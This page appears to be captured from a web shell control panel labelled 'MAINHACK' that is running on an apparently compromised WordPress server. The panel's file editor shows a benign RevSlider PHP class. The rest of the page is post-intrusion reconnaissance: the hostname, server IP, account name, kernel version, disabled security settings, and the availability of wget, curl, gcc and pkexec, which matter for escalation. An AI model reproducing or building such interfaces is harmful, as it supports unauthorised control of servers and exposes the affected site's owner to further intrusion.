[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: jetpack.class.php
<?php /** * @author ThemePunch <info@themepunch.com> * @link https://www.themepunch.com/ * @copyright 2024 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderJetPack extends RevSliderFunctions { public function __construct(){ add_filter('script_loader_tag', array($this, 'exclude_scripts_from_defer'), 11, 2); add_filter('revslider_js_add_header_scripts', array($this, 'add_defer_to_script_tags'), 10, 1); add_filter('revslider_html_v6_output', array($this, 'add_defer_to_script_tags'), 10, 1); add_filter('revslider_add_setREVStartSize', array($this, 'add_defer_to_script_tags'), 10, 1); } /** * prevent JetPack from defer our frontend JS files */ public function exclude_scripts_from_defer($src, $handle){ if(!class_exists('Jetpack')) return $src; $process = false; if(in_array($handle, ['tp-tools', 'sr7', 'sr7migration', 'revmin', 'revmin-actions', 'revmin-carousel', 'revmin-layeranimation', 'revmin-navigation', 'revmin-panzoom', 'revmin-parallax', 'revmin-slideanims', 'revmin-video'])){ $process = true; } //add addons to ignore list if(strpos($src, 'rs6') !== false || strpos($src, 'rbtools.min.js') !== false || strpos($src, 'revolution.addon.') !== false || strpos($src, 'sr6/assets/js/libs/') !== false || strpos($src, 'liquideffect') !== false || strpos($src, 'pixi.min.js') !== false || strpos($src, 'rslottie-js') !== false){ $process = true; } return ($process) ? str_replace(' src', ' data-jetpack-boost="ignore" src', $src) : $src; } public function add_defer_to_script_tags($html){ if(!class_exists('Jetpack')) return $html; return str_replace('<script', '<script data-jetpack-boost="ignore"', $html); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002